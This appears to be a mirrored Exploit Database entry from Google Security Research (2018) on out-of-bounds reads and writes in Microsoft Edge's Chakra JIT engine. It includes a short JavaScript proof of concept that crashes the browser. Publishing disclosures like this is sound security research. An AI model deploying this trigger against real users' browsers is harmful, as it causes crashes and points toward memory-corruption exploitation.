Microsoft Edge Chakra JIT – Out-of-Bounds Reads/Writes

• Exploit Database
• 45 阅读

• 作者： Google Security Research
  日期： 2018-07-12
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45011/

• /*
  It seems that this issue is similar to theissue 1429(MSRC 42111). It might need to refresh the page several times to observe a crash.
  
  PoC:
  */
  
  let arr = new Uint32Array(1000);
  for (let i = 0; i < 0x1000000; i++) {
  for (let j = 0; j < 1; j++) {
  i--;
  i++;
  }
  
  arr[i] = 0x1234;
  }